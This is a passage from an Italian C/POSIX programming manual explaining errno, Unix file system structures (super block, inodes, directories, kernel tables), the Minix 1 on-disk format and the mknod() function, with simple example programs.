Le funzioni descritte, quando si verifica un errore, annotano il numero dell'errore nella variabile globale ***errno*** (il nome ***errno*** dovrebbe essere precisamente un'espressione che si traduce nell'accesso a un'area di memoria condiviso dal programma, distinto in base al thread). Il significato del valore attribuito alla variabile ***errno*** è descritto da macro-variabili definite nel file '`errno.h`', il quale fa già parte dello standard C, ma viene esteso da POSIX.

La lettura della variabile ***errno*** porta alla conoscenza dell'ultimo errore che si è presentato e non è previsto il suo azzeramento automatico; pertanto, occorre accertarsi del verificarsi di un problema, prima di interrogare la variabile, oppure la si deve azzerare prima di chiamare una funzione di cui si vuole verificare l'esito.

Per interpretare l'errore annotato nella variabile ***errno*** e visualizzare direttamente un messaggio attraverso lo standard error, si può usare la funzione ***perror()***, già descritta nei capitoli sul C:

```
void perror (const char *s);
```

79.6 Il file system Unix e la sua gestione tipica

Per comprendere il senso dell'organizzazione della libreria C e di quella POSIX, per quanto riguarda la gestione dei file, è necessario conoscere l'impostazione originale della gestione di un file system in un sistema Unix. A tale riguardo ci sono due livelli: quello del file system, così come viene strutturato nell'unità di memorizzazione e la gestione dei file aperti, a livelli diversi, partendo dall'inode, fino al flusso di file del C, passando per il concetto di descrittore del file.

79.6.1 Il blocco

In un file system Unix tradizionale, lo spazio di un'unità di memorizzazione è suddiviso in blocchi di byte, di dimensione pari a un multiplo del settore fisico, ma si tratta comunque di un valore che si ottiene come potenza di 2. Considerato che le unità di memorizzazione comuni hanno settori fisici da 512 byte, il blocco di un tale file system può essere da 1024, 2048, 4096 byte,... La dimensione effettiva di tale blocco dipende però dalle caratteristiche specifiche di quel tipo di file system, tenendo conto che spesso è possibile scegliere la sua dimensione in fase di inizializzazione.

Nel caso del file system Minix, si distingue tra blocchi e zone. La zona è un concetto specifico dei sistemi Minix e, in realtà, la zona di Minix è l'entità del file system che più si avvicina al blocco dei sistemi Unix tradizionali.

79.6.2 Il super blocco

Le unità di memorizzazione possono essere organizzate in due modi: con partizioni o senza. Una partizione è a sua volta come un'unità singola, non divisa in partizioni.

L'inizio di un'unità di memorizzazione viene riservato generalmente per il codice di avvio del sistema operativo, tenendo conto che questo vale sia per le unità suddivise in partizioni, sia per quelle non suddivise, sia per le partizioni stesse. Pertanto, nessun file system sovrascrive il primo settore di un'unità, anche se può considerarlo parte della propria gestione.

Dopo lo spazio che viene lasciato per il codice di avvio del sistema operativo (di uno o più settori), si colloca generalmente quello che è noto come ***super blocco***, il quale si può considerare come una tabella riassuntiva delle caratteristiche generali del file system e della sua situazione.

Le informazioni contenute nel super blocco devono consentire di sapere: qual è la dimensione del blocco (ammesso che questa non sia fissa); qual è la dimensione dell'unità in blocchi; dove sono le tabelle che rappresentano gli inode; quanti sono gli inode, quali sono quelli liberi e quali invece sono impegnati; quali sono i blocchi che possono essere utilizzati per i dati (file, directory e altre tabelle per i riferimenti indiretti) e quali invece sono impegnati.

Per conoscere quali sono gli inode e le zone libere o impegnate, si possono usare sistemi diversi. In generale è probabile che si usino mappe di bit (come nel caso di Minix), oppure delle liste. Ma in generale, ciò che consente di sapere e di annotare gli inode e le zone impegnate o libere, fa parte concettualmente del super blocco, anche se materialmente può trattarsi di strutture di dati separate.

79.6.3 Gli inode

Dopo il super blocco, includendo in questo anche ciò che consente di sapere quali inode e quali blocchi sono impegnati o liberi, si collocano generalmente delle tabelle che rappresentano, ognuna, un inode. Di solito, un inode occupa un sottomultiplo dello spazio di un blocco, in modo da facilitare i calcoli per individuarne la collocazione.

Un inode contiene almeno queste informazioni: il tipo di file e i permessi di accesso, in un valore a 16 bit; il numero UID del proprietario del file; il numero GID del gruppo proprietario; la dimensione del file (o della directory) espressa in byte; le date di accesso, modifica del file e creazione dell'inode; la quantità di riferimenti provenienti dalle directory; una serie di numeri di blocchi occupati dal file o dalla directory.

Il contenuto del file rappresentato dall'inode si articola in blocchi, i quali non sono necessariamente contigui e nemmeno ordinati: è l'insieme dei riferimenti contenuti nell'inode che determina la posizione e l'ordine in cui questi vanno considerati. Inoltre, dato che non è possibile allocare nel file system uno spazio più piccolo di un blocco, è indispensabile l'informazione sulla dimensione del file per sapere quando questo termina nel suo ultimo blocco utilizzato.

tipo e permessi | n. collegamenti
UID | GID
dimensione del file in byte
data di creazione dell'inode
data dell'ultima modifica
data dell'ultimo accesso
numero del primo blocco
numero del secondo blocco
numero del terzo blocco
...
blocco
blocco
blocco

Dal momento che deve essere possibile rappresentare file di grandi dimensioni, i primi riferimenti ai blocchi utilizzati sono diretti, come si vede nel disegno appena mostrato, mentre si prevedono generalmente dei riferimenti indiretti, a blocchi che contengono a loro volta i riferimenti di altri blocchi. In tal caso si parla di «indirezione» di primo, secondo ed eventualmente anche di terzo livello.

In questa struttura di collegamenti ai blocchi, va osservato che un file potrebbe non avere allocato tutti blocchi che risulterebbero dalla dimensione riportata. Per esempio, utilizzando blocchi da 1024 byte, un file che risulta essere grande 10240 byte, non è detto che occupi effettivamente 10 blocchi come sembrerebbe. Infatti, la scrittura nel file potrebbe essere avvenuta specificando una piccola parte verso la fine e in altre posizioni. In pratica, almeno in linea teorica, questo tipo di organizzazione a inode, consente di scrivere il file dove si vuole, sapendo che lo spazio intermedio, se non viene allocato, risulta contenere dei dati con bit a zero.

Nella tabella che rappresenta l'inode, i blocchi non allocati risultano indicati con il numero zero, pertanto, il vero blocco zero non può essere accessibile attraverso gli inode (ma d'altra parte è normale che il blocco zero sia impegnato dal codice di avvio, dal super blocco ed eventualmente dalle tabelle degli inode stessi).

È importante osservare che in un file system Unix non esiste mai l'inode con il numero zero, perché questo valore viene utilizzato per fare riferimento a un errore o comunque a situazioni speciali. Di solito, l'inode numero uno corrisponde alla directory principale, dell'unità presa in considerazione (ovvero di una sua partizione).

79.6.4 La directory

La directory è un file come gli altri, riconoscibile perché, nell'inode, il campo che definisce il tipo e i permessi, riporta l'indicazione relativa. Nei file system tradizionali, il file che rappresenta la directory è formato normalmente da *record* di lunghezza uniforme, in cui si distingue un campo contenente il numero di un inode e un altro contenente il nome di un file.

n. inode	nome
	`.`
	`..`
	`cat`
	`cp`
	`dd`

In pratica, si associa il tale inode a un certo nome. Va ricordato che l'inode zero non esiste e che, di norma, l'inode uno è quello della directory radice dell'unità di memorizzazione (o della partizione relativa).

Nel file di intestazione '`limits.h`', la macro-variabile ***NAME_MAX*** rappresenta la quantità minima di caratteri che possono essere usati per i nomi dei file (nelle directory). Questa quantità non include il carattere nullo di terminazione delle stringhe; pertanto, se corrispondesse al valore 14, vorrebbe dire che i nomi possono avere effettivamente 14 caratteri. Ciò avviene a differenza della macro-variabile ***PATH_MAX***, per i percorsi, la quale deve invece includere anche il carattere nullo di terminazione.

La directory si costruisce come descritto, ma rimane il fatto che le prime due voci debbano essere «.» e «..»: la prima corrispondente al riferimento dell'inode della directory stessa; la seconda corrispondente al riferimento dell'inode della directory genitrice (ovvero quella precedente in senso gerarchico), con la variante che la directory radice può solo puntare a se stessa, in ogni caso.

79.6.5 Tabelle del sistema operativo

Il file system dei sistemi Unix, oltre che avere una certa forma nella fisicità dell'unità di memorizzazione, ha anche una rappresentazione astratta tradizionale nel sistema operativo, nel modo in cui si prendono in considerazione i file aperti e ciò da cui questi dipendono.

Nella semplificazione dei sistemi tradizionali, si utilizzano delle tabelle per: i super blocchi delle unità innestate; gli inode in corso di utilizzazione; i file aperti; i descrittori dei file aperti; i flussi di file abbinati ai descrittori.

79.6.5.1 Tabella dei super blocchi

Per accedere a un file, è necessario poter raggiungere il file system di un certo dispositivo, il quale deve essere stato innestato, ovvero reso disponibile nel file system generale del sistema operativo. Per raccogliere la situazione delle unità innestate serve una tabella, la quale può essere vista come quella dei dispositivi o dei super blocchi.

Le voci della tabella dei super blocchi riproducono i super blocchi delle unità innestate, incluse le mappe o le tabelle di utilizzo degli inode e dei blocchi, oltre ad altre informazioni accessorie. Quando di crea o si elimina un file, quando lo si estende e lo si riduce, la voce relativa di tale tabella dei super blocchi va aggiornata anche nell'unità di memorizzazione, per quanto riguarda la situazione di utilizzo degli inode e dei blocchi di dati.

Va osservato che il sistema operativo deve innestare almeno una unità, contenente il file system principale, pertanto, almeno un super blocco deve essere sempre presente nella tabella.

79.6.5.2 Tabella degli inode

Quando si accede a un file per la prima volta, le informazioni relative al suo inode vengono caricate in una voce della tabella degli inode. Il contenuto minimo di questa voce è costituito di norma da tutti i dati dell'inode contenuti nel file system, incluso il numero di questo, aggiungendo il riferimento alla voce che rappresenta il super blocco da cui proviene e la quantità di riferimenti interni (i riferimenti interni non vanno confusi con i collegamenti nel file system, provenienti dalle directory).

Quando si apre più volte lo stesso file, o comunque ciò che fa capo allo stesso inode, nella tabella di inode si ha sempre solo una voce, dove il contatore dei riferimenti interni serve a sapere quante volte risulta aperto. Quando poi tale contatore arriva a zero, perché i file vengono chiusi mano a mano, la voce della tabella è libera e può essere riutilizzata per un altro inode, oppure può essere semplicemente ripresa così come si trova, se il file viene riaperto (incrementando nuovamente il contatore).

riferimenti interni		n. inode	super blocco a cui appartiene l'inode
3	...	1	
1	...	7	
2	...	3	
2	...	1	

tabella degli inode

tabella dei dispositivi o dei super blocchi

Va però osservato che, durante il funzionamento del sistema operativo, potrebbe farsi riferimento a inode astratti, privi del collegamento a un dispositivo o super blocco. Questo caso riguarda in particolare i condotti «privi di nome», ovvero quelli che non derivano dall'apertura di un file speciale di tipo FIFO.

79.6.5.3 Tabella dei file

L'apertura di un file, oltre che coinvolgere la tabella degli inode, implica l'aggiunta di una voce nella tabella dei file di sistema (ovvero dei file aperti complessivamente nel sistema operativo). Le voci di questa tabella devono avere un riferimento all'inode, la modalità di apertura (lettura, scrittura o entrambe), la posizione corrente nel file per le letture o le scritture successive, un contatore di riferimenti interni.

L'apertura di un file implica sempre l'aggiunta di una nuova voce nella tabella dei file, ma ci sono delle situazioni in cui uno stesso processo o più processi differenti possono condividere la stessa voce della tabella dei file di sistema. Come nel caso degli inode, quando il contatore dei riferimenti raggiunge lo zero, significa che la voce corrispondente è chiusa (o libera) e può essere riutilizzata per il prossimo file da aprire.

79.6.5.4 Tabella dei descrittori dei file

Ogni processo elaborativo ha una propria tabella dei descrittori dei file, nella quale, le voci rappresentano i file aperti dal processo stesso. Le voci della tabella includono il riferimento alla tabella dei file di sistema e le opzioni date in fase di apertura, riguardanti aspetti più precisi rispetto alla semplice distinzione di un accesso in lettura o in scrittura.

Quando un processo elaborativo si sdoppia, attraverso la chiamata di sistema che fa capo alla funzione ***fork()***, i descrittori dei file vengono duplicati e i riferimenti corrispondenti nella tabella dei file di sistema si incrementano. Nello stesso modo, se un processo elaborativo utilizza la funzione della libreria standard ***dup()***, ottiene la duplicazione di un descrittore, incrementando il contatore dei riferimenti nella tabella dei file.

79.6.5.5 Flussi di file

Dal punto di vista del processo elaborativo, la gestione dei file in forma di descrittori o di flussi, potrebbe sembrare indipendente, ma in pratica ciò non può essere. La gestione dei flussi di file implica la presenza di una tabella aggiuntiva (oltre a quella dei descrittori), contenente, per ogni voce, il riferimento al descrittore, un indicatore di errore e un altro indicatore di fine file.

Come suggerisce intuitivamente il disegno, in un sistema operativo POSIX, un flusso di file aperto ha un proprio descrittore di file corrispondente, anche se nell'ambito del programma

può rimanere sconosciuto il numero del descrittore abbinato. Tuttavia, per converso, è possibile aprire un file attraverso un descrittore, senza che sia coinvolto necessariamente il flusso che gli corrisponderebbe. A tale proposito, lo standard prescrive la presenza di funzioni che consentono di ristabilire il collegamento esplicito tra flussi e descrittori.

79.7 Il file system Minix 1

Come esempio di come può essere strutturato effettivamente un file system, conforme alle richieste dello standard POSIX, viene proposta la spiegazione dettagliata del tipo usato dal sistema operativo Minix, nelle sue primissime edizioni.

Il kernel Linux consente di accedere a file system Minix 1, eventualmente con l'estensione dei nomi a 30 byte, mentre manca una gestione efficace del file system Minix 2 e manca del tutto la possibilità di accedere alla versione Minix 3.

79.7.1 Blocchi e zone

Il file system Minix 1 suddivide lo spazio disponibile in ***blocchi*** da 1024 byte; così, qualunque oggetto sia memorizzato occupa un multiplo di tale dimensione. Di solito, le unità di memorizzazione di massa sono organizzate in settori da 512 byte, pertanto tale organizzazione in blocchi si adatta perfettamente alle unità comuni.

Per l'indirizzamento dei dati, all'interno del file system, si utilizza il concetto di ***zona***, corrispondente a un multiplo del blocco, ottenuto però come potenza di due. Pertanto possono esserci zone della stessa dimensione dei blocchi, oppure doppie, quadruple,... In pratica, deve essere possibile rappresentare con un numero intero, il logaritmo in base due del rapporto tra la dimensione della zona e la dimensione del blocco.

$$\log_2 \frac{dim_zona}{dim_blocco}$$

Per esempio, una zona da 8192 byte, porta a un rapporto tra zona e blocco di 8 e $\log_2 8$ è pari a 3 (in quanto $2^3 = 8$).

Il valore del logaritmo in base due, del rapporto tra zona e blocco, fa parte delle informazioni contenute nel file system Minix 1, perché serve a ottenere la dimensione della zona, attraverso lo scorrimento a sinistra del valore 1024. Per esempio così:

```
y = 1024 << 3;
```

In tal caso, la variabile ***y*** va a contenere il valore 8192. Ma in alternativa, basta calcolare i multipli di blocco, ottenendo così il valore 8:

```
y = 1 << 3;
```

Nella tradizione Unix non esiste la «zona», la quale riguarda specificatamente il file system Minix. La zona di Minix rappresenta in pratica il concetto di «blocco» dei sistemi Unix.

79.7.2 Struttura generale

La struttura generale del file system Minix 1 è schematizzata dalla figura successiva. Il primo blocco (da 1024 byte) è riservato al codice di avvio, anche se di solito questo occupa soltanto un settore da 512 byte. Il secondo blocco contiene il «super blocco», ovvero l'intestazione del file system, con le informazioni generali sullo stesso. Il terzo blocco, ed eventuali altri blocchi successivi, sono utilizzati per una mappa degli inode, la quale ha lo scopo di annotare quali sono utilizzati e quali sono liberi. A partire dal blocco successivo inizia la mappa delle zone utilizzate (zone, intese come multipli dei blocchi, come spiegato nella sezione precedente). Dopo la mappa delle zone appaiono i blocchi contenenti gli inode (tanti quanti sono previsti nella mappa di inode). Successivamente appaiono i blocchi usati dalle zone di dati che utilizzano lo spazio rimanente.

Va osservato che se le zone hanno una dimensione maggiore dei blocchi, il primo blocco utile per la memorizzazione dei dati (dopo gli inode) deve iniziare all'inizio di una zona, contando le zone a partire dal primo blocco (quello riservato dal codice di avvio). Pertanto, potrebbero rimanere anche blocchi non utilizzabili, dopo quelli delle mappe e prima di quelli dei dati.

79.7.3 Super blocco

Il super blocco raccoglie le informazioni più importanti del file system e dalla sua integrità dipende l'accessibilità di tutto il resto del contenuto presente. Anche se gli viene riservato un blocco intero, in pratica, il super blocco di Minix 1 occupa molto meno spazio.

Il secondo campo del super blocco, come si vede dalla figura, rappresenta la dimensione dell'unità di memorizzazione (o della partizione considerata), espressa in zone. Per esempio, se si utilizzano zone uguali ai blocchi, un dischetto da 1440 Kibyte è composto esattamente da 1440 zone.

Il quinto campo indica la prima zona dati, contando a partire da zero. La prima zona dati è la prima zona che possa essere usata, dopo gli inode. Nella mappa delle zone utilizzate, il bit che rappresenta la zona dati numero uno, si riferisce a questa prima zona dati (nella mappa delle zone, la zona dati zero risulta sempre utilizzata ma in realtà non esiste).

Il sesto campo indica il logaritmo in base due, del rapporto tra dimensione della zona e del blocco. Per esempio, un valore pari a zero indica che la zona è uguale al blocco; uno indica che la zona è costituita da due blocchi; tre indica che la zona è composta da quattro blocchi e così di seguito.

Il «numero magico» è il codice di riconoscimento, usato per verificare che si tratti effettivamente di un file system Minix 1. Tale numero deve essere $137F_{16}$.

79.7.4 Mappa di inode

La mappa di inode è costituita da un insieme di bit, ognuno dei quali rappresenta lo stato di utilizzazione di un certo inode: 1 indica un inode utilizzato; 0 indica un inode libero. In questa mappa, il primo bit, riferito all'inode zero, è sempre attivo. Ma l'inode zero, in pratica, non viene rappresentato e il primo vero inode, ovvero quello riferito alla directory radice, ha sempre il numero uno.

In base al fatto che l'inode zero, in pratica, non esiste, anche se risulta sempre utilizzato, va considerato che il valore presente nel primo campo del super blocco indica la quantità reale di inode, ovvero l'indice massimo (partendo da zero) che si può utilizzare nella loro scansione.

La mappa di bit va però scandita, suddividendola a blocchi da 16 bit. L'esempio seguente rappresenta una mappa per 172 inode, dove si vede il primo (zero) impegnato e il secondo che già è predisposto per la directory principale:

inode uno: directory principale

inode zero, immaginario

inode totali: da 0 a 172

inizio

fine

Nel disegno sono rappresentati solo i bit a uno, lasciando gli altri come spazi vuoti. Va osservato che l'ordine in cui si dispongono i bit non è quello che ci si aspetterebbe: il primo, quello dell'inode zero, appare a destra del suo insieme di 16 bit (si tratta quindi del bit meno significativo), mentre lo si attenderebbe a sinistra secondo il senso di lettura latino. Considerato che i bit inutilizzati vanno posti a uno, come se esistessero altrettanti inode impegnati, l'ultimo insieme di 16 bit va interpretato con attenzione. Per avere una visione più umana della mappa, occorrerebbe invertire la sequenza di bit in ogni gruppetto:

inode zero, immaginario

inode uno: directory principale

inode totali: da 0 a 172

inizio

fine

Al problema dell'inversione della sequenza di bit, si aggiunge il fatto che il file system è nato per un'architettura *little endian*, ovvero a byte invertiti, ma la questione viene trattata alla fine del capitolo.

Per sapere dove si trova un certo inode ***n***, occorre considerare che questi si collocano dopo i blocchi della mappa di zone, che il primo vero inode è quello con indice uno, ovvero il secondo, in base alla numerazione della mappa. Come viene descritto successivamente, ogni inode occupa 32 byte, pertanto, in ogni blocco ci stanno esattamente 32 inode.

79.7.5 Mappa di zone

La mappa delle zone dei dati, funziona come quella di inode, dove i bit a uno indicano una zona utilizzata e il primo bit, riferito alla zona zero, è sempre a uno, ma in realtà la prima vera zona dati è quella a cui corrisponde l'indice uno. Come per la mappa di inode, anche in questo caso valgono le stesse considerazioni relative al fatto che la scansione deve essere fatta a gruppi di 16 bit e che il conteggio inizia dalla parte numericamente meno significativa di tali gruppi.

È bene precisare che la mappa si riferisce alle zone dei dati, pertanto riguarda quelle zone che iniziano dopo tutte le informazioni già descritte, compresa la stessa mappa e la tabella di inode successiva. Per fare un esempio, se nel super blocco è scritto che la prima zona dati è quella con il numero 19, significa che il bit con indice uno della mappa (il secondo) individua la zona 19 e le zone precedenti non possono essere utilizzate per i dati.

79.7.6 Inode

I blocchi successivi alla mappa delle zone dei dati, sono utilizzati per gli inode, di cui si conosce la quantità, perché questa è annotata nel super blocco. Nel file system Minix 1, ogni inode occupa esattamente 32 byte.

16 bit
inizio
tipo di file e permessi di accesso
UID: utente proprietario
dimensione del file in byte
data e orario dell'ultima modifica espressa in secondi dal 1/1/1970
n. collegamenti dalle directory
GID: gruppo proprietario
sono disponibili solo otto bit per annotare il gruppo proprietario!
numero della zona 0
numero della zona 1
numero della zona 2
numero della zona 3
numero della zona 4
numero della zona 5
numero della zona 6
numeri delle prime sette zone utilizzate dal file
zona contenente un elenco di altre zone
indirezione doppia
riferimenti indiretti alle zone di primo e di secondo livello
32 byte complessivi
fine

La figura successiva mostra il meccanismo usato per indirizzare file che occupano più di sette zone, attraverso elenchi aggiuntivi, ognuno dei quali occupa a sua volta una zona intera. I

riferimenti indiretti alle zone possono essere quindi di primo livello, o di secondo livello, come suggerito dalla figura stessa.

inode

tipo di file e permessi di accesso
UID: utente proprietario
dimensione del file in byte
data e orario dell'ultima modifica espressa in secondi dal 1/1/1970
n. collegamenti dalle directory
GID: gruppo proprietario
numero della zona dati 0
numero della zona dati 1
numero della zona dati 2
numero della zona dati 3
numero della zona dati 4
numero della zona dati 5
numero della zona dati 6
zona contenente un elenco di altre zone
indirezione doppia

indirezione di primo livello

16 bit
spazio di una zona intera
numero della zona dati 7
numero della zona dati 8
numero della zona dati 9
numero della zona dati 10
numero della zona dati 11
numero della zona dati 12
• • •
numero della zona dati M

16 bit
spazio di una zona intera
zona contenente un elenco di altre zone
zona contenente un elenco di altre zone
zona contenente un elenco di altre zone
zona contenente un elenco di altre zone
zona contenente un elenco di altre zone
zona contenente un elenco di altre zone
• • •
zona contenente un elenco di altre zone

indirezione di secondo livello

16 bit
spazio di una zona intera
numero della zona dati M+1
numero della zona dati M+2
numero della zona dati M+3
numero della zona dati M+4
numero della zona dati M+5
numero della zona dati M+6
• • •
numero della zona dati N

16 bit
spazio di una zona intera
numero della zona dati N+1
numero della zona dati N+2
numero della zona dati N+3
numero della zona dati N+4
numero della zona dati N+5
numero della zona dati N+6
• • •
numero della zona dati ...

Ipotizzando di avere zone della stessa dimensione dei blocchi (1024 byte), dal momento che gli elenchi indiretti possono contenere a loro volta 512 numeri di zona, sarebbe possibile gestire file con una dimensione massima di 7+512+512×512 Kibyte, ovvero 262663 Kibyte. Disponendo di zone della dimensione di quattro blocchi, si potrebbero gestire file da 7+2048+2048×2048 Kibyte, ovvero 4196359 Kibyte. Con lo stesso criterio, con zone da otto blocchi, si potrebbero gestire file da poco più di 16 Gibyte; con zone da 16 blocchi si arriverebbe a poco più di 64 Gibyte. A questi limiti si aggiunge però il fatto che le zone sono individuate da numeri a 16 bit; pertanto, con zone da un solo blocco, si possono indirizzare al massimo 65536 Kibyte, ovvero 64 Mibyte; con zone da due blocchi si arriva a 128 Mibyte; con zone da 16 blocchi si arriva al massimo a 1 Gibyte. Pertanto, la doppia «indirezione» può essere usata solo parzialmente e non avrebbe senso un'indirezione tripla.

A parte la limitazione nella dimensione dei file, va annotato un fatto che può risultare più spiacevole: il numero del gruppo proprietario del file (GID) viene rappresentato con soli 8 bit. Ciò significa che si possono indicare gruppi fino al numero 255 e in pratica, quando vi si copia un file, il numero del gruppo viene troncato nella parte più significativa. Un altro limite importante riguarda il fatto che l'inode riporti solo la data di modifica del file, mancando così la data di accesso e la data di creazione dell'inode stesso.

Il primo campo da 16 bit di un inode, rappresenta il tipo e i permessi del file a cui si riferisce l'inode (si veda anche la sezione 81.2.1 a proposito della «modalità» POSIX). L'interpretazione di questo valore deve avvenire secondo gli standard dei sistemi POSIX, ovvero secondo lo schema seguente, dove si ipotizza una directory con permessi di accesso e di lettura per tutti gli utenti:

0 0 0 1	file FIFO
0 0 1 0	dispositivo a caratteri
0 1 0 0	directory
0 1 1 0	dispositivo a blocchi
1 0 0 0	file normale
1 0 1 0	collegamento simbolico
1 1 0 0	socket di dominio Unix

1 1 1 1 1 1 1 1

suid sgid stiky r w x r w x r w x

proprietario gruppo altri

79.7.7 Directory

Le directory si collocano nelle zone dei dati, come gli altri file, e a loro si accede a partire da un inode (come per tutti gli altri file). La struttura di una directory è molto semplice, come si può vedere nella figura successiva:

16 byte

inode — nome del file

16 bit — 14 byte

inizio

...

fine

In pratica, si tratta di un file suddiviso in *record* a dimensione fissa da 16 byte, dove i primi due byte rappresentano il numero inode del nome che occupa i restanti 14 byte. Il file system Minix 1 consente così di rappresentare nomi di file fino a un massimo di 14 caratteri, ma nei sistemi GNU/Linux si utilizza spesso un'estensione con directory aventi *record* da 32 byte, in modo da poter rappresentare nomi fino a 30 caratteri.

La directory è un file come gli altri, pertanto, per sapere quante sono le voci che la compongono, occorre conoscere la dimensione del file, come annotato nel suo inode. Per esempio, una directory con quattro voci (inclusi i nomi '`.`' e '`..`'), occupa 64 byte.

79.7.8 Il problema dell'inversione dei byte

Il sistema operativo Minix nasce negli anni 1980 per elaboratori a 16 bit con l'inversione dei byte (*little endian*). Per questa ragione, i byte che costituiscono l'organizzazione del file system Minix 1 sono invertiti. Ciò diventa un problema quando si legge il contenuto del file system in modo diretto, in esadecimale, perché tutte le voci che prevedono una rappresentazione a 16 o a 32 bit, vanno rovesciate in modo appropriato, per poterle interpretare correttamente. Per esempio, in un'altra sezione è stato descritto il modo in cui viene popolata la mappa degli inode e delle zone dei dati; ai problemi lì descritti si aggiungerebbe anche l'inversione dei byte.

Se si considera che un file system serve per scrivere dati anche su unità di memorizzazione rimovibili, utilizzabili presumibilmente su altri sistemi e altre architetture, sarebbe più appropriata una progettazione che preveda sempre la scrittura «ordinata» dei byte, come si fa per i dati trasmessi in rete. Nel caso particolare di Minix, con l'evolvere del sistema e con l'adattamento anche ad altre architetture, si è reso necessario considerare se il file system a cui si accede giunge ordinato secondo la propria architettura, oppure se per questa è inverso. In pratica, un numero magico $137F_{16}$ indica che il file system va bene così; altrimenti, il numero $7F13_{16}$ richiede che i valori a 16 e a 32 siano invertiti (byte per byte), per poter essere interpretati correttamente.

79.8 Creazione ed eliminazione di file di qualunque tipo

Un file «normale», definito in inglese come *regular file*, è il contenitore di una sequenza di byte, rappresentato in qualche modo nel file system. Nei sistemi Unix, anche le directory sono dei file, benché si tratti evidentemente di un tipo speciale, per il quale si richiede un trattamento particolareggiato; inoltre, altri tipi di entità rientrano nella gestione complessiva del concetto di file per i sistemi Unix. Originariamente è stato usato il termine «nodo», da cui deriva il nome della funzione ***mknod()***, con cui si poteva creare qualunque tipo di file.

79.8.1 La funzione «mknod()»

La funzione ***mknod()***, dichiarata nel file di intestazione '`sys/stat.h`', potenzialmente, è in grado di creare qualunque tipo di file, ma completamente vuoto, ammesso che si tratti di un tipo di file che ha un contenuto rappresentato nel file system. Teoricamente questa funzione potrebbe creare anche delle directory, ammesso che il sistema operativo lo consenta, ma si tratterebbe comunque di directory prive delle voci obbligatorie '`.`' e '`..`', quindi si tratterebbe di directory incomplete ed errate per il file system.

```
int mknod (const char *path, mode_t mode, dev_t dev);
```

Il primo parametro della funzione è una stringa che rappresenta il percorso del file da creare nel file system; il secondo parametro, ***mode***, individua il tipo di file ed eventualmente i permessi di accesso; l'ultimo parametro, ***dev***, il numero del file di dispositivo, ammesso che si tratti della creazione di questo tipo di file. La tabella successiva elenca le macro-variabili da usare per comporre il valore del parametro ***mode***, usando l'operatore OR binario, avendo la cura di specificare una sola macro-variabile per il tipo.

Tabella 79.76. Macro-variabili per esprimere, complessivamente il tipo e i permessi di un file.

Macro-variabile	Valore numerico equivalente	Significato
`S_IFBLK`	vedere `sys/stat.h`	File di dispositivo a blocchi.
`S_IFCHR`	vedere `sys/stat.h`	File di dispositivo a caratteri.
`S_IFIFO`	vedere `sys/stat.h`	File FIFO.
`S_IFREG`	vedere `sys/stat.h`	File normale (*regular file*).
`S_IFDIR`	vedere `sys/stat.h`	Directory.
`S_IFLNK`	vedere `sys/stat.h`	Collegamento simbolico.
`S_IFSOCK`	vedere `sys/stat.h`	Socket di dominio Unix.
`S_ISUID`	4000_8	Rappresenta l'attivazione del bit S-UID.
`S_ISGID`	2000_8	Rappresenta l'attivazione del bit S-GID.
`S_ISVTX`	1000_8	Rappresenta l'attivazione del bit Sticky.
`S_IRWXU`	0700_8	Rappresenta tutti i permessi di lettura, scrittura ed esecuzione o accesso, per l'utente proprietario.
`S_IRUSR`	0400_8	Rappresenta il permesso di lettura per l'utente proprietario.
`S_IWUSR`	0200_8	Rappresenta il permesso di scrittura per l'utente proprietario.
`S_IXUSR`	0100_8	Rappresenta il permesso di esecuzione o attraversamento per l'utente proprietario.
`S_IRWXG`	0070_8	Rappresenta tutti i permessi di lettura, scrittura ed esecuzione o accesso, per il gruppo proprietario.
`S_IRGRP`	0040_8	Rappresenta il permesso di lettura per il gruppo proprietario.
`S_IWGRP`	0020_8	Rappresenta il permesso di scrittura per il gruppo proprietario.
`S_IXGRP`	0010_8	Rappresenta il permesso di esecuzione o attraversamento per il gruppo proprietario.
`S_IRWXO`	0007_8	Rappresenta tutti i permessi di lettura, scrittura ed esecuzione o accesso, per gli altri utenti.
`S_IROTH`	0004_8	Rappresenta il permesso di lettura per gli altri utenti.
`S_IWOTH`	0002_8	Rappresenta il permesso di scrittura per gli altri utenti.
`S_IXOTH`	0001_8	Rappresenta il permesso di esecuzione o attraversamento per gli altri utenti.

79.8.1.1 Creazione di un file «normale»

L'esempio seguente mostra l'uso della funzione ***mknod()*** per la creazione di un file comune:

```
#include <sys/stat.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = mknod ("/tmp/miofile",
                  (mode_t) (S_IFREG | S_IRUSR | S_IWUSR |S_IXUSR),
                  (dev_t) 0);
  if (status != 0) perror (NULL);
  return (0);
}
```

79.8.1.2 Creazione di una directory

L'esempio seguente mostra un programma elementare che ha lo scopo di creare una directory vuota, priva anche delle voci obbligatorie '`.`' e '`..`'. In condizioni normali, il sistema operativo dovrebbe impedire tale azione, producendo un messaggio di errore.

```
#include <sys/stat.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = mknod ("/tmp/miadir",
                  (mode_t) (S_IFDIR | S_IRUSR | S_IWUSR |S_IXUSR),
                  (dev_t) 0);
  if (status != 0) perror (NULL);
  return (0);
}
```

79.8.1.3 Creazione di un file FIFO

Un file FIFO è un «condotto» (*pipe*) rappresentato da un file e si distingue dai condotti creati internamente, senza tale associazione simbolica. Pertanto si distingue anche tra «condotti con nome» (*pipe* con nome) o file FIFO e «condotti senza nome» (*pipe* senza nome) o solo *pipe*.

L'esempio seguente mostra un programma elementare che ha lo scopo di creare un file FIFO.

```
#include <sys/stat.h>
#include <errno.h>
#include <stdio.h>
int
main (void)
{
  int status;
  status = mknod ("/tmp/miofifo",
                  (mode_t) (S_IFIFO | S_IRUSR | S_IWUSR |S_IXUSR),
                  (dev_t) 0);
  if (status != 0) perror (NULL);
  return (0);
}
```

79.8.1.4 Creazione di file di dispositivo

La creazione di un file di dispositivo richiede l'indicazione del numero del dispositivo. Ciò comporta una complicazione, perché quel numero contiene simultaneamente le informazioni sul numero primario e sul numero secondario.

Originariamente, il numero del dispositivo era formato da 16 bit, di cui l'ottetto (il byte) più significativo rappresentava il numero primario, mentre quello meno significativo il numero secondario. Dal momento che questa organizzazione è sì quella tradizionale, ma non è richiesta dallo standard, diventa necessario disporre di funzioni o macro-istruzioni che aiutino a comporre correttamente il numero di dispositivo complessivo, o a estrapolare le sue componenti.

Vari sistemi che si rifanno al modello di Unix introducono tre funzioni o macro-istruzioni, utili per manipolare i numeri di dispositivo. Purtroppo queste funzioni non sono standard, benché abbastanza diffuse:

```
dev_t makedev (int major, int minor);
```

```
int   major   (dev_t device);
```

```
int   minor   (dev_t device);
